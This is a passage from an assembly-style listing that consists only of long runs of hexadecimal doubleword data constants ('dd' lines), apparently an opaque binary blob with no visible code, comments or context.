		dd 0B600B1B5h, 7E5147DAh, 94969Fh, 0BC5503CCh, 8344AE20h
		dd 669DF606h, 3870F535h, 1CB7B6E4h, 4446C031h, 0AEA2D2Ah
		dd 8AA02361h, 8802717h,	0A9DEC31Ch, 62003795h, 92F1C9ACh
		dd 3B55505Dh, 38090D9h,	0B9B6ED91h, 98E8DB38h, 0F3384860h
		dd 29F17B1h, 9626EA7Fh,	0E1F5D322h, 0B9D05DC5h,	59511BEFh
		dd 9FF0280Bh, 907B4D0Fh, 9662500h, 81760CA0h, 80C40121h
		dd 0BC10C29Ch, 4BFD612h
		dd 4CFD2106h, 58610010h, 3E8CDB7Eh, 0F1001525h,	629702FCh
		dd 6D1DC8h, 0E50B3DB3h,	96F653DEh, 781F2C7Ch, 0A900C2C3h
		dd 437EB59h, 9D59C12Ah,	882DA03Bh, 403D1D51h, 6421F7C8h
		dd 0F28C960h, 2D37F2h, 0E7BD50Dh, 8E6AAFA5h, 0A0726500h
		dd 0C2C05C1Eh, 98297C5Ah, 0F4B9CAEEh, 97210C34h, 0D3707BD1h
		dd 0A2196A60h, 1DE815Eh, 8D9FFAB3h, 484DBEC6h, 3E06570h
		dd 0D8A49700h, 47A6A9B0h, 16A501CFh, 10E50A01h,	62E8814Eh
		dd 9A8BC053h, 0D798C880h, 0BB870EF7h, 95B68C1h,	4C588E64h
		dd 53FF008Bh, 11D5288Fh, 0D7631599h, 82FE1DA9h,	0F19D200Ch
		dd 10F50E7Fh, 62045501h, 576938A1h, 448F497h, 9DF460F5h
		dd 21818A5h, 0A818E295h, 0E4635011h, 607AC0h, 91EABF14h
		dd 73E8D57h, 8F207607h,	55F6A19Bh, 8744229h, 88CD1A9h
		dd 3388211Ah, 0E1C8884Fh, 94D3F388h, 0C32628FEh, 1C28328Ah
		dd 3E542883h, 13A27910h, 7AAF9600h, 313C16B4h, 0AC813500h
		dd 7EE9F71h, 851000AAh,	0C1A7255Ch, 4E3BBA04h, 0CA3481A4h
		dd 976C6D20h, 1D312120h, 0C7121105h, 2027A1A2h,	5DF4ECDDh
		dd 762DB73Dh, 82032479h, 620EDCD7h, 6F7AB8A5h, 0BDE60F5Ch
		dd 75605E22h, 42A9CE41h, 0C400BB76h, 7B8C1751h,	0F18860Fh
		dd 789B8164h, 5D9AE980h, 95000665h, 83FE3D63h, 0C2F054h
		dd 0A2C882Bh, 0A2E82507h, 0F47F7377h, 6C48A00h,	3D62DB66h
		dd 0ED09006Ch, 0C05B91A3h, 1E1D7949h, 0C6C0C77Fh, 0DF8408Fh
		dd 616A2602h, 28AA8010h, 2683B3F2h, 7F9AC700h, 0FCEECCECh
		dd 437DF7h, 5778A882h, 0A60D13FAh, 2CDA4E0Fh, 6CEE278Ch
		dd 20E419Fh, 0D824CF7Dh, 3D52F8A3h, 78809633h, 0AE75A29Dh
		dd 5700EDA8h, 27EC6FCEh, 1247142Fh, 0FFD6BF29h,	1F6D6700h
		dd 0EE934B3h, 3A0556F0h, 15437C60h, 0BB003EB5h,	0DBD5B66Ah
		dd 1908464h, 5D88763Dh,	40B80293h, 488ECD9Ch, 6A9E7D0Fh
		dd 0DE3DA031h, 3195E95h, 56EEC021h, 0B2F053B6h,	4BE4FBE7h
		dd 0DBB36600h, 0BFDA0FCAh, 4C670051h, 5A900207h, 410240DCh
		dd 0ED39FDC5h, 65EDE076h, 674F3A13h, 527C9F8Fh,	0F3A19A60h
		dd 97245049h, 8B0090A6h, 74D2E5Eh, 0D8BB27F4h, 7203F2FEh
		dd 9B9E5BFFh, 7380C535h, 1F80FBC8h, 9F9A2C5Dh, 991C8003h
		dd 0F7A22451h, 17E03800h, 0F8287368h, 27251D0Eh, 0B659C708h
		dd 0CA7DF062h, 0E0004876h, 0D7759821h, 683B7Ch,	6F88B158h
		dd 707944E3h, 40B2AF00h, 1D01B3AEh, 2896483Eh, 0F90D5500h
		dd 0E4D5C83Ch, 0C7849812h, 0B76AF040h, 5EE56042h, 339F89Dh
		dd 96CDC064h, 266EB069h, 14B301C8h, 0ABCE0E22h,	0C135FCC7h
		dd 48098300h, 0EE7D4780h, 1AD20090h, 62035AA6h,	6800EC7Ah
		dd 0CF3EA3B4h, 707660h,	1823F769h, 71C2B36h, 0EE0F7CF2h
		dd 0C0DD096Fh, 75C0577Dh, 38876FF3h, 9B80138Bh,	488D6672h
		dd 40623600h, 0B63BDF90h, 0C9A907EFh, 70D79563h, 49D8264Eh
		dd 0BBAEFD0Eh, 0C0758EBFh, 0ADFF0290h, 0F8E407EFh, 0D0439FE6h
		dd 743C9912h, 2E5D0900h, 0C75C2A2Ch, 2D01FA5h, 254403D7h
		dd 0EBC850BDh, 603AB16h, 891AD46Bh, 818EC3B7h, 7DF4C038h
		dd 964F17DBh, 665700F8h, 0E91399CFh, 9318BA1Fh,	0B71294Eh
		dd 0BAD8D1h, 35CC8A74h,	0CD5F7BADh, 0D52F4F00h,	49313B63h
		dd 3CCB0042h, 20DC0AF7h, 2B004738h, 22BC76D0h, 31B3B1h
		dd 0C556A5B6h, 0F746982Eh, 10003B74h, 0CB99C152h, 459C19h
		dd 0DECE5BF9h, 62FB7F32h, 6DFAEF00h, 6F733BC4h,	0D5F2AAh
		dd 0A05A8192h, 3CA3BE9Fh, 233F6400h, 5F7C95D6h,	8A4B0098h
		dd 25B679B9h, 0E000A94h, 76998EECh, 38660h, 0BBFE7D1Eh
		dd 5A8B0BDh, 0F07548h, 568CEC54h, 0E394923h, 0C2F5A255h
		dd 0FEE468C0h, 0A70E5380h, 20BFBD85h, 194CE043h, 0CA5E1D2Dh
		dd 0EF8701ACh, 0F6F7FF52h, 5A5529C0h, 56C9D507h, 37B0E902h
		dd 0BC4BF2h, 3A38078h, 0AF362A0Eh, 6832B900h, 84D42D0Dh
		dd 76A8009Fh, 0C9D147D8h, 620E6FEAh, 0C0A9365Ah, 0FB3AF71Ch
		dd 0C6D50092h, 0D955F07h, 33006E52h, 0F8495E1Fh, 5BE3Fh
		dd 8E0139F6h, 3AC66D26h, 82ABEC00h, 9DAA3D8h, 0A0CA0055h
		dd 0D3F70AD7h, 0DF0CF01Ch, 0E0160736h, 43759Ch,	0A962650Dh
		dd 4E20F7A1h, 606A4B00h, 1FDDBE3Ah, 385BEE52h, 0DB80A480h
		dd 27123D02h, 8C00AF89h, 1EE908A8h, 57B94Bh, 63DFE794h
		dd 0E3C3072Dh, 43885100h, 0BB1F3B7Dh, 0AD2200ECh, 7A11232h
		dd 0B33CA21Dh, 0A565800Bh, 0F427C781h, 0CBE800F7h, 0FA4E1567h
		dd 0F50091D6h, 1DB42BCh, 74E2B8h, 0D810F4EBh, 2520F364h
		dd 0AFA2103h, 0E86BB12Fh, 98036347h, 18710078h,	86C52287h
		dd 5600CE17h, 0ECB1E630h, 0BB440h, 0ABD6A324h, 7F5ADF7Dh
		dd 4FFDB900h, 8E1D8C94h, 95B80042h, 9C66EFD0h, 0CD002FCEh
		dd 0AB274E93h, 32ABFDBh, 29958304h, 500F5FCFh, 40A2FC1Fh
		dd 7E05E6Eh, 64AE1C3Dh,	9D92838Ch, 1CD8EBDEh, 211555FCh
		dd 4AC89A9h, 7AC4CADFh,	0FE746480h, 81B03EAh, 70566C69h
		dd 0CFC3CEB8h, 43AB7101h, 0DF4A8780h, 48CC6160h, 2200B05Fh
		dd 0A11E4B97h, 0DB1EBB0Eh, 0ACE87920h, 0C9513Bh, 0D76AC03Fh
		dd 263424h, 0CCA2E77Ch,	2BB9624Bh, 0AAA54A00h, 2FB54E94h
		dd 51FB0045h, 868457F9h, 0E00496Eh, 2E264177h, 251427h
		dd 1382FECAh, 0FF8CB33Ah, 87F1BD0Eh, 344160BCh,	6057C694h
		dd 798F5065h, 4C607BDBh, 0CB6B9C11h, 6269202Bh,	6C404203h
		dd 0B0F32C38h, 0AAB901h, 6EC7FBD4h, 21D16A28h, 688A8600h
		dd 0EFCA4F1Ch, 7207006Fh, 122A3C82h, 31FE9CF5h,	0B60A22h
		dd 4E5E47A5h, 0E86C36ECh, 59132800h, 1A6F2DCEh,	9F24C079h
		dd 0C3589BB0h, 0C021EC28h, 0F492650Ch, 3FF7071h, 242AD29Ah
		dd 4AD89827h, 9F00A51Ah, 8D16CA89h, 11FCC21h, 64940913h
		dd 2FCFE45Bh, 427FF000h, 3BF78C4h, 0A0BB5212h, 3CFB34Fh
		dd 80D7F816h, 0D0EB333Ch, 0B25F9E00h, 867396D7h, 0B930113h
		dd 0BDB75272h, 624DCC9Dh, 81B0B600h, 0A7AE7BABh, 67AC0BF5h
		dd 0FD7826h, 0ED8A5040h, 58240028h, 0FECCF793h,	7A004A03h
		dd 51E335Ch, 36B756h, 0FC465FC4h, 0ED812EC1h, 9535F0C0h
		dd 0B579D9h, 29FB0DE1h,	1C659092h, 9709AD00h, 2D8202A3h
		dd 13FEE9h, 98C84652h, 0CC533CD3h, 0C04E5900h, 6C33FE50h
		dd 49160ABDh, 7E8B0CAh,	9179C2DAh, 0CCDBFBB7h, 375C5E25h
		dd 0B1CD00C1h, 0D0B47642h, 3E7300DAh, 69D40131h, 0B50ABE6Ah
		dd 0C06EF0B9h, 9C4DC600h, 0E71592Eh, 56DDA3E8h,	0D74CA1A0h
		dd 0F600210Ch, 9D968946h, 0F845CD4h, 2D997AEh, 823316A0h
		dd 0B13F9F56h, 2E1581F3h, 0FB34BD94h, 0ECE1430h, 9281284Bh
		dd 0DE884C80h, 580089E4h, 1C3A16C7h, 0A56C0Bh, 0CA3BD471h
		dd 7FF33572h, 97032C92h, 0C7F920DEh, 40FDB2D8h,	4EDA071h
		dd 29D9D36Ah, 0D12480B5h, 0CB033F7Ch, 2C7E13F9h, 419EF1h
		dd 496F0FD6h, 0E70A4ED2h, 0CCB35807h, 0BAF0622Eh, 7E3CDB0Bh
		dd 5F5419C9h, 240192F8h, 9A007E80h, 0A275D84Bh,	7468729h
		dd 93B31A61h, 3A01399Fh, 0EC2AB8B9h, 0FBE29CE5h, 4FB11803h
		dd 0A8B5889Bh, 6346DBh,	0B61CA9EDh, 0A1B31372h,	50E59509h
		dd 377200BDh, 0E30693Dh, 58DD9D07h, 6BC5E20h, 2E07CD94h
		dd 3EC4D3E8h, 11ED8EE0h, 9875608Ch, 0A877FC39h,	0BCFB5B00h
		dd 0F542B218h, 0DF11F58h
		dd 0C8572Ah, 171064B2h,	81EC36A3h, 2C1CE790h, 4C81FED3h
		dd 3EC6AF20h, 0ECF953E0h, 5EB30019h, 87363A46h,	0D8004CA3h
		dd 7EDA5628h, 929771h, 1EFB1224h, 0C24764FDh, 34D25214h
		dd 0E7000B0h, 9A01D5BAh, 0E7A500BCh, 0D331BB26h, 6E0143F0h
		dd 0B563248Dh, 0C0421640h, 1822E008h, 9C290034h, 33CCA403h
		dd 28C0C78Eh, 0E5D185F1h, 6D0B0072h, 0E7409B59h, 0E6072028h
		dd 0D28D2DF2h, 5D003EE7h, 5C756648h, 7E6BC7h, 0D652A971h
		dd 0CCBA026h, 0E37F6203h, 78F0D896h, 251000F8h,	51B99FA6h
		dd 3100F665h, 0DD2F82B7h, 3BED8948h, 0C2804392h, 0A426BC9Ch
		dd 621ECFF4h, 1F80B363h, 54B2A3D4h, 1A57004Ah, 2BF77A2Ch
		dd 1800E9A6h, 1783202h,	70EC42h, 6472EAF3h, 3B5D81BCh
		dd 0BC15A00h, 3FA67393h, 4B4B0B7h, 435921A0h, 3C18C011h
		dd 0E81D0A3Dh, 8440D1D2h, 1B973ACBh, 5EB105AEh,	0EBC6CA3Fh
		dd 0D9B33402h, 0ED20C0F0h, 43800287h, 89DC26F7h, 303274C8h
		dd 9ACAC914h, 0BD200C0h, 1051215Fh, 60875C5Ah, 963EBE00h
		dd 0FC6D7FC2h, 0B5768A00h, 802BD942h, 19D60091h, 35632768h
		dd 492608DAh, 0D3436C74h, 0A839F0E1h, 890F0092h, 3B80515Ah
		dd 347CF593h, 0D60D501h, 0E0FE4912h, 2F7004F1h,	0B4D64851h
		dd 0CE432303h, 11018E76h, 577131DEh, 242019E8h,	8E406C6h
		dd 10389694h, 882CE8FBh, 0D600DB78h, 0C0E3BE7Ah, 75C8D99Fh
		dd 0A6EB01ECh, 0FA124043h, 528C2027h, 24811D24h, 0DCBEE340h
		dd 0FD511D1Fh, 0B1D709CDh, 6AD49420h, 4C00DF7Fh, 351ADBA2h
		dd 7185B2h, 0B55CBBF3h,	0C5C0F022h, 26CDF900h, 9E50E216h
		dd 4BDC1E7Ah, 0DB37818Eh, 3054DE9Ah, 34F5B314h,	97FAFC6Ch
		dd 14C38900h, 9CC016CBh, 5D2300D9h, 35D4F56Ah, 1A00D67Dh
		dd 0A8B4CD8h, 1E159B9h,	90149A27h, 3091EA49h, 0F25CAC34h
		dd 682501DBh, 0DA0FEEF7h, 0B1353885h, 0A17880B7h, 1C00A7DFh
		dd 89235620h, 9DBEC2ABh, 30BA56E1h, 9E00DB30h, 8A6B8A8h
		dd 0A194CAh, 84FFE34Bh,	3B909347h, 0C4F0DE00h, 80260B91h
		dd 0E0F655h, 6A9AA297h,	79E9A552h, 0C1F51700h, 80ACB5ECh
		dd 4E0890DEh, 3D2CE87Bh, 707F82D4h, 0A0F1DA5Ch,	0E9E5C5C0h
		dd 7E4500F7h, 0E2B97DDCh, 2C2CF260h, 0D0A67CBAh, 17CFA1Dh
		dd 58CCA529h, 0C54023A2h, 0D56D9Ah, 435B1A50h, 0D9F94BC7h
		dd 70AE5A2Ch, 0D92AA00h, 1AD16h, 0B12C8B9Fh, 0AF6B9B1Fh
		dd 1813DFFAh, 8C317F12h, 0F845CC70h, 0F4408480h, 0E45D501Eh
		dd 8936002Ah, 381BA953h, 7120C5DBh, 0C04255h, 0DEE2E088h
		dd 0FA0130Bh, 0FBDFEF94h, 53700233h, 934059AFh,	0CB1FC5EAh
		dd 93006496h, 5808B701h, 860E383h, 15CC0156h, 57A659A4h
		dd 0A0EC4081h, 171F625Dh, 2F00074Ch, 740EA3FCh,	0DAB9201Dh
		dd 0FBC3F90Fh, 0F675C7D0h, 8ABD0D60h, 73E900F1h, 0ACABE3BFh
		dd 2639293Fh, 7C9A8136h, 0DEB8B0DBh, 4824E0EDh,	0B866F2F6h
		dd 5C2F0058h, 6EAE2AB2h, 0D726AB4Bh, 561C9058h,	836C23CEh
		dd 0A8978727h, 0B3DA7h,	8F939DEFh, 882AF14h, 5795AA00h
		dd 3A738A8Ch, 9C52003Dh, 0F8BC0B5Bh, 2A00867Ch,	5E744C09h
		dd 75A52587h, 8120FEDh,	643526Dh, 0E981D6Fh, 58018357h
		dd 78900797h, 0B12F42C2h, 3C3299h, 4FBF8FA7h, 373814Ah
		dd 68B4F338h, 0BA0AEF9h, 0F500BD10h, 0D15F5A1Dh, 2D669E6h
		dd 0B0E180B5h, 3048F4E3h, 0B600D586h, 66A3AE04h, 0A093341Dh
		dd 24F7796h, 1A510267h,	1440CA89h, 5E00197Eh, 36538045h
		dd 266820D5h, 6C4B7Dh, 9C5B7A02h, 52003AD7h, 0CBE764Ch
		dd 1FC34372h, 0C2AC5Fh,	626445F4h, 362E5D49h, 0C7824014h
		dd 63055BEBh, 0D067C8D8h, 201524EDh, 11440998h,	0D701D800h
		dd 0A600C2CAh, 0D9BEDF83h, 7C62451Ah, 377982h, 8EF1BAB3h
		dd 0DD0B5073h, 15EA0A18h, 49910461h, 3905B4E4h,	80C7FCD6h
		dd 5937FDAFh, 9AA0CC14h, 0A7F11410h, 1196011Ch,	599235CEh
		dd 633F49D0h, 6198183Dh, 9CF85AE3h, 2E0067E2h, 4936F1DEh
		dd 370382Fh, 0C6EFBEA9h, 7CA88F04h, 8B005492h, 9E3C7376h
		dd 1966F778h, 691F2CF1h, 1688BC02h, 2B0B5E92h, 0D4390046h
		dd 0FD66E5h, 6B58DF43h,	0EF4AB5BAh, 0ACBD38C7h,	9A52A530h
		dd 451D1DB2h, 0AD22C02Eh, 44B617EAh, 202A6F00h,	0CAE2F6B5h
		dd 0B9E7734h, 61EE0C2Ch, 4F173980h, 0ABFE7035h,	53ED281Eh
		dd 1400075Fh, 45725C39h, 0E9AC3CB4h, 27553F00h,	18EDC177h
		dd 0AF5A9B00h, 44946931h, 138F02Fh, 0BF33258Ch,	0DCF8597Ah
		dd 0C4023B8Dh, 7276214Eh, 0E5858C5h, 0D86653CFh, 55E78E60h
		dd 0F800410Eh, 2D851391h, 479016h, 695D02D5h, 0E15E8820h
		dd 0CCA09A7Bh, 0D0A8D8BDh, 0F7005191h, 0B4694FE9h, 7AE8F89Fh
		dd 576A0FC9h, 37A02F63h, 3A3CCEA2h, 0AFD0380Fh,	12F3EF0Fh
		dd 0A5E74200h, 1B32058Ch, 38D1C994h, 9AC00F98h,	5DD24A24h
		dd 0D0A3100h, 46C2196h,	9EE6ABDh, 570C8048h, 9D4EA29Bh
		dd 0D90037A8h, 0C4D28162h, 48C05392h, 765E9421h, 0A92300C9h
		dd 6CD5B99Dh, 5A00B359h, 0BB9A4C3Fh, 0BA0E084h,	19899487h
		dd 42C9B700h, 6266B795h, 3EE96F5Eh, 10496ADBh, 61417818h
		dd 9D0023B4h, 0E7AE1D6Eh, 75C9608Dh, 52CC133Bh,	71720035h
		dd 0F49EE8Bh, 0A7F90824h, 864ADC00h, 3B3A9E88h,	22336B79h
		dd 211E0208h, 0DB8092D5h, 0A891F066h, 58D10038h, 748DADEEh
		dd 620C120Fh, 182D709Ch, 0E59210B0h, 3D450047h,	0C4AE3C67h
		dd 202B6D86h, 5588510h,	0A00C2938h, 0C71039h, 0EE4DABC1h
		dd 0E6460BD4h, 21DB09CCh, 0ABE90127h, 3F226843h, 0C8608C65h
		dd 2C46515Fh, 98DDD7h, 9E99B9F8h, 92001810h, 30B1BD93h
		dd 3C203Dh, 0F16F73DFh,	0C26738E5h, 4152C630h, 488972h
		dd 0B4FBD856h, 0B52BD5EBh, 8A66EDE9h, 0F2A10420h, 0F6B8C918h
		dd 0D97E0009h, 796458CFh, 370055C5h, 515CB8B1h,	0ABDB1Dh
		dd 0C0AADE68h, 0EB0E5291h, 0A5D33500h, 444029FDh, 5BB50158h
		dd 0AF73FFDEh, 2FA9C0ECh, 8A715200h, 0F8E94BF2h, 0DA9096h
		dd 56B9BAF3h, 0AE72C3FFh, 990C2101h, 5EF9D336h,	0E03E30h
		dd 0AFBB26DDh, 0EC4DEEF4h, 9B86170Eh, 187460C5h, 0F2FB955h
		dd 13C72B5Fh, 0D0A9A780h, 0CB007001h, 0EC3F7D3Ah, 27748h
		dd 0E84C9CBBh, 0EE78FC83h, 41F98203h, 0C3E54BD6h, 4FA2A836h
		dd 260400E0h, 3A2099F4h, 0FC005977h, 0BF36B8C6h, 3BE284A5h
		dd 0E70FC1D6h, 0A7A0FE63h, 347C34Dh, 0ADFA9700h, 0EC27F755h
		dd 9C130099h, 0C0A5CD2h, 0C8000FD6h, 688F469Bh,	33C5A52h
		dd 0BAE2546Fh, 80C86B65h, 4C07C640h, 1825BE92h,	793D20B0h
		dd 0FFC005Ch, 0C9D72CB8h, 8800F14Fh, 0D60E78C1h, 4A0CFA4h
		dd 4EBC0945h, 410F80A7h, 0B8000A60h, 462512C4h,	10F049Eh
		dd 0B3C0CB7Fh, 0C88EF3A8h, 9713A7BDh, 2A0E2DE4h, 0A0AB0092h
		dd 1DF66C6h, 0E6CB43D3h, 407DCF86h, 38FDB7B0h, 0C59E8503h
		dd 881939A0h, 0DE3C4Dh,	3E884623h, 0B7ADC765h, 29132A32h
		dd 0D41E10DCh, 0EC082289h, 44082C44h, 0D745B833h, 377910CAh
		dd 32086489h, 0F78AE944h, 1028EA17h, 23519D70h,	0F8086E21h
		dd 38EC8811h, 94259088h, 0D2111412h, 32581105h,	112EE911h
		dd 0D01163B6h, 342204h,	2466AE77h, 98F228F7h, 8A1F6B00h
		dd 0F69EC41Ah, 15E70094h, 9DAB0342h, 2200CB26h,	0A4C5B569h
		dd 413C5Eh, 0B8CCE17Bh
		dd 1F1D59A1h, 0EBD04B60h, 1737487Eh, 0FFE41113h, 8CC16800h
		dd 34314ECh, 2E3C4A64h,	0FCD85F56h, 2838F397h, 0F25C10h
		dd 6B1BC4F4h, 0F33DC93h, 0D785AFD9h, 1F7D9620h,	0C2004AF8h
		dd 2592C9CEh, 75C340h, 50623DD5h, 15E9225Eh, 5702D401h
		dd 61EB08E6h, 8BE08EE5h, 175B24C2h, 32D90010h, 28A97FF1h
		dd 3FA3F503h, 0E8D3AB8Ah, 0B5C19Bh, 258ECDE8h, 0E4B7EEFFh
		dd 65D66C07h, 0BF907850h, 0C0CB9FD7h, 0AD644110h, 0CC01A9FEh
		dd 0CE08370Eh, 40E8DD95h, 3FC907C2h, 50B07522h,	9F825909h
		dd 0F8551607h, 1B902DACh, 0C160C4h, 1ED966B0h, 0BF769AEFh
		dd 7E3FC00h, 0A471CC25h, 62B9000Bh, 22F97893h, 0DE0083CEh
		dd 0B38B9B33h, 0FC46DAh, 7B791C2Fh, 2D566B8Ah, 5243920Fh
		dd 60EAACF4h, 0C6A80054h, 854B3763h, 0AE003B1Ah, 24F83EACh
		dd 17CB23Ah, 6564949Dh,	0C46E2A09h, 0FA003273h,	56CBC39Eh
		dd 57FEBFh, 5EDA0667h, 6010DE58h, 27FD3F00h, 7D97B9D2h
		dd 5889824h, 51744AEEh,	93CD83C6h, 6B918800h, 612FD00Ch
		dd 408B00AEh, 0BEE75448h, 400DE92h, 22B2E26Eh, 3F613959h
		dd 478F6DECh, 2180C15Eh, 8BAB4A44h, 96C20C00h, 0CB74C5FEh
		dd 90A70020h, 452EDB8Fh, 29059FB9h, 0A9B0ACD9h,	2758C0EFh
		dd 0B779AFD6h, 93E0217Eh, 8F00E7F0h, 0D4ECB1EDh, 6EE4BCh
		dd 0F096D169h, 683CC4DCh, 90385C00h, 4E4D8059h,	4F6E475h
		dd 42BCE251h, 0C31E80B9h, 0DC065308h, 73713D14h, 650700F8h
		dd 1FD65AECh, 4600D341h, 0FD8FA66Bh, 0F0B1FEh, 0F3EE771Dh
		dd 0C3B6ACA7h, 0A24A5F01h, 34A3D97Bh, 3BF713C0h, 0F4F27EE7h
		dd 0EDDC124Dh, 0F368007Fh, 0AE3361E2h, 381D9900h, 0D17C77B1h
		dd 0A0101F7Eh, 0B8F6C173h, 20ACE405h, 21009878h, 3F308740h
		dd 4AECA83h, 0E2C01CDh,	9F7C8053h, 0A048F61Fh, 91BA0031h
		dd 0DABD1093h, 0E840E522h, 118B52Ah, 0F304D4BEh, 209AA436h
		dd 5300F002h, 0E8F12CB3h, 0A183EBBCh, 2886BBA0h, 0A825BA3Dh
		dd 0A3A1340Bh, 0E187809Ch, 0A92171h, 1C86C3B7h,	0A7A2688Bh
		dd 1F9CD548h, 0D2C0C55Fh, 44F66403h, 90D909CEh,	5E07A1E8h
		dd 2B3A4049h, 4907BDCh,	50E9C300h, 9415C733h, 0DDCC0FF9h
		dd 1D003FBCh, 9DFDB4CBh, 0AA695Ch, 0EA1CA721h, 0C040A26Ch
		dd 0A8A535F0h, 491B5B4h, 981BFA00h, 0A95550Ch, 13D29F04h
		dd 0E8B20EFAh, 0DC10B820h, 27F62D6Ch, 88C03800h, 37338FD2h
		dd 0B9840904h, 0C00AC0Ah, 54C82645h, 3168E80h, 5D39353h
		dd 72D8CA0Dh, 68766DE5h, 46217B09h, 9384A049h, 7451B1Ah
		dd 5D3DF502h, 5DD306Eh,	0E000E291h, 0CEFAC1B1h,	92EE4Bh
		dd 0E3FDAE42h, 95C5EAC7h, 0B8F86A00h, 63089AC3h, 0AD52004Fh
		dd 18BB7E74h, 0C700B043h, 0EF963E9Ch, 9989F6h, 37DB3CECh
		dd 0E59E5EBCh, 1B0C6900h, 0D9D4F578h, 4F9B008Fh, 0D6A8B1DEh
		dd 0CA00BCFAh, 67285BDAh, 0B0C7D0h, 194E8109h, 69890A43h
		dd 9FAF8700h, 0D4DEBBFFh, 0EA3E005Dh, 2E9B2C2Ah, 4B00B4B0h
		dd 2304A68h, 1D0B3FFh, 9F0F4807h, 2009889Dh, 5E005F40h
		dd 0DBDCC004h, 176B35B8h, 0EB30157h, 0AFE03415h, 28F1D94Fh
		dd 0D6445000h, 4CE9218Ch, 43A01E0Ah, 0C10287CCh, 0FE872095h
		dd 0A70088ECh, 50713BAEh, 903FC243h, 66220464h,	0D01968E9h
		dd 361BEFB0h, 854AD4EDh, 0D47FF076h, 60472124h,	77AF3000h
		dd 0F2EA60h, 55B2C72Fh,	34E67683h, 0F82E3F30h, 3546DFh
		dd 0EC7968Fh, 4480C997h, 0E5C43C00h, 1926FD04h,	7D99003Ah
		dd 0A65C0671h, 3E7D4E8Bh, 0DCD86A09h, 0D0880030h, 6F604D3h
		dd 0C75CA2CBh, 55008060h, 0F9462748h, 161F1E20h, 9C53ADh
		dd 77B20C14h, 0F206A6FDh, 0D88CC4E2h, 9647CD0h,	0E99F4D0Bh
		dd 1A40808h, 0AB3F8456h, 1BB0209Ah, 30D823Ch, 76CDC255h
		dd 0E8FFC017h, 9AA1004Bh, 0F058DFCFh, 8C60E92Bh, 6FFA7B30h
		dd 0E8F25Eh, 0A527F77Eh, 1270AA6Ah, 2CCB4500h, 713CF9BDh
		dd 4941000Fh, 0E28C9D3Ah, 0AF072B4Dh, 968DD81Ah, 700B4Bh
		dd 80EF1313h, 7FA00A6h,	757E7DE1h, 0E01D8DDh, 0F860E487h
		dd 2DC8D023h, 0D4390076h, 8C1F6AC3h, 4700B87Dh,	57C8DA25h
		dd 9B7F99h, 3922764Eh, 0EA87BCBh, 185C63E6h, 0BB380130h
		dd 1B04B6B0h, 264560h, 1DAD9FDh, 15B46A70h, 0DF8B9500h
		dd 0CD3344A5h, 0FE1F000Bh, 0BDA72336h, 0F73B15CBh, 5BFB0F82h
		dd 120A80F6h, 1C9790h, 922FEA80h, 0D6AC6F70h, 0CF8DAB1Fh
		dd 0B1735540h, 3C0F45CCh, 0C626380Ch, 364D00C8h, 0C55251B4h
		dd 881F4900h, 0BA8491E9h, 1DAA14EFh, 4E04BA50h,	0C0ABD2BCh
		dd 49F44F18h, 4704D712h, 26B2400h, 0C724FBh, 177D9027h
		dd 0BB51619Ch, 0AC74BD01h, 96AA2D93h, 8A0C20h, 0B363085h
		dd 8E5AAE3Eh, 0DB97800Fh, 261A4008h, 9F907Ah, 0F09CC5B3h
		dd 7177E86Eh, 0F463E502h, 4061BAEFh, 1FDD2AB3h,	7CBF48DAh
		dd 51961980h, 4B03571Ch, 2471342Eh, 0B8364E03h,	0BA6CE89Fh
		dd 3EAD0359h, 0C52EF99Ch, 0C66F0980h, 40C8F000h, 0EFD437D7h
		dd 0E2E4058Fh, 0C01AA676h, 6721B60Ch, 6F0AF300h, 0B3B8A16Ah
		dd 8533F1Dh, 5EF45780h,	0A761C783h, 0EE285000h,	3D65BD2h
		dd 9B9D001Eh, 0E2B249F6h, 92F2D5C9h, 1D3BD400h,	0A24B5D73h
		dd 0F3AB09C5h, 3C0FA57Dh, 36927220h, 2B00F5A0h,	0A97B2FACh
		dd 3BF3D93Eh, 238EA86Fh, 88C027E1h, 0BA365E52h,	44C3DE26h
		dd 0B20E4C81h, 76DCCCD6h, 0F293BA4h, 7EF09B0Eh,	0D8CE6BE4h
		dd 0E97371E0h, 1061600h, 0DAAA999Dh, 0F8F92DBCh, 0EC07755Eh
		dd 189918Eh, 0AD4445E8h, 49C41E70h, 9F0AE8B1h, 19056BAh
		dd 0A0AB9B94h, 0D8C04124h, 5E42D447h, 0FDA6D000h, 8B4DC499h
		dd 18937901h, 28AF4C10h, 14026667h, 0E11C6504h,	6848C079h
		dd 584400D4h, 4324E9E6h, 0D60007C1h, 3D318398h,	396CC3A7h
		dd 8CD8AC94h, 0A1512101h, 0CCD59B18h, 5E3E2599h, 5D4850h
		dd 4E0B2CCFh, 0FE59748h, 0A3AEDFF6h, 222E6140h,	0A600D89Eh
		dd 4919042Ah, 8183B1h, 0B7973EABh, 8B99F65Dh, 0AEC80700h
		dd 269F87B5h, 80660061h, 8D4A77F1h, 460040E6h, 57B15CDFh
		dd 2668DDD7h, 24318Ch, 0B024DE77h, 154A8F94h, 2B330C00h
		dd 0A8DB74h, 56F0019Dh,	0B1F10D5h, 889E7824h, 8071EA0Bh
		dd 4D736E5Ch, 855300F9h, 79B00B9Dh, 39008289h, 0A8362825h
		dd 76C3B213h, 6B242427h, 7C470982h, 87EF7700h, 83091C72h
		dd 8016FE1Ah, 0F1905CCCh, 3DED017Eh, 62B0482Fh,	50C0808Fh
		dd 8BA325E1h, 0C52C0AF1h, 4CC9286h, 80AB5258h, 2BB4DFB3h
		dd 0D4F04579h, 8D023D00h, 7973B6E9h, 6EF4031Fh,	0A5063E91h
		dd 0A1363806h, 4871B4B1h, 13261AD6h, 0C1490020h, 0BCEC025Bh
		dd 39E4AF50h, 12DA8508h, 35C50777h, 0BE3FA2F5h,	4A058050h
		dd 0A2264B24h, 9C227CD0h, 0E37403h, 60C85B35h, 0E246DAEDh
		dd 0CF6B6C00h, 0C525E598h, 36DF2E07h, 0E4B1142Fh, 3B6DD508h
		dd 0C700B426h, 53E46933h, 326207ACh, 3768411Eh,	0BF395358h
		dd 87C735A0h, 0B97E9A03h, 0C876F83Fh, 176A9620h, 1B0B39h
		dd 0F1326E00h, 8E3DB483h, 0F900FFC7h, 0A3A13FE4h, 3FD28676h
		dd 40232BDh, 7DD15EF3h,	5A13D880h, 5F6A760h, 0C1741713h
		dd 3BE104FBh, 0E1188055h, 630B7AFEh, 80EF0750h,	7969AA9Fh
		dd 147200A7h, 0A2CA5273h, 2D098903h, 0A00CFFE9h, 0E112EA4h
		dd 0E5AE007Ah, 1429A1F2h
